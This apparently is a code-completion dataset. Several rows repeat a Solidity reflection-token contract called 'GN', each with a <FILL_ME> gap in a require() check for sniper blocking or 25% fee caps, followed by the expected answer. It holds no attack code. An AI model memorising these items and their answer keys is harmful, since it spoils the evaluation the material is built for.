function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
require(!_isSniper[to], 'Stop sniping!');
require(<FILL_ME>)
// buy
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFee[to]
) {
require(_tradingOpen, 'Trading not yet enabled.');
// antibot
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
}
// sell
if (!_inSwapAndLiquify && _tradingOpen && to == uniswapV2Pair) {
isSelling = true;
uint256 _contractTokenBalance = balanceOf(address(this));
if (_contractTokenBalance > 0) {
if (
_contractTokenBalance >
balanceOf(uniswapV2Pair).mul(liquifyRate).div(100)
) {
_contractTokenBalance = balanceOf(uniswapV2Pair).mul(liquifyRate).div(
100
);
}
_swapTokens(_contractTokenBalance);
}
}
bool takeFee = false;
// take fee only on swaps
if (
(from == uniswapV2Pair ||
to == uniswapV2Pair ||
_isUniswapPair[to] ||
_isUniswapPair[from]) && !(_isExcludedFee[from] || _isExcludedFee[to])
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
isSelling = false;
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| !_isSniper[msg.sender],'Stop sniping!' | 325,475 | !_isSniper[msg.sender] |
'overall fees cannot be above 25%' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
require(_buy <= 25, 'cannot be above 25%');
require(<FILL_ME>)
buyReflectionFee = _buy;
require(_sell <= 25, 'cannot be above 25%');
require(
_sell.add(sellInternalFee).add(sellBurnFee).add(sellLpFee) <= 25,
'overall fees cannot be above 25%'
);
sellReflectionFee = _sell;
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _buy.add(buyInternalFee).add(buyBurnFee).add(buyLpFee)<=25,'overall fees cannot be above 25%' | 325,475 | _buy.add(buyInternalFee).add(buyBurnFee).add(buyLpFee)<=25 |
'overall fees cannot be above 25%' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
require(_buy <= 25, 'cannot be above 25%');
require(
_buy.add(buyInternalFee).add(buyBurnFee).add(buyLpFee) <= 25,
'overall fees cannot be above 25%'
);
buyReflectionFee = _buy;
require(_sell <= 25, 'cannot be above 25%');
require(<FILL_ME>)
sellReflectionFee = _sell;
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _sell.add(sellInternalFee).add(sellBurnFee).add(sellLpFee)<=25,'overall fees cannot be above 25%' | 325,475 | _sell.add(sellInternalFee).add(sellBurnFee).add(sellLpFee)<=25 |
'overall fees cannot be above 25%' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
require(_buy <= 25, 'cannot be above 25%');
require(<FILL_ME>)
buyInternalFee = _buy;
require(_sell <= 25, 'cannot be above 25%');
require(
_sell.add(sellReflectionFee).add(sellBurnFee).add(sellLpFee) <= 25,
'overall fees cannot be above 25%'
);
sellInternalFee = _sell;
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _buy.add(buyReflectionFee).add(buyBurnFee).add(buyLpFee)<=25,'overall fees cannot be above 25%' | 325,475 | _buy.add(buyReflectionFee).add(buyBurnFee).add(buyLpFee)<=25 |
'overall fees cannot be above 25%' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
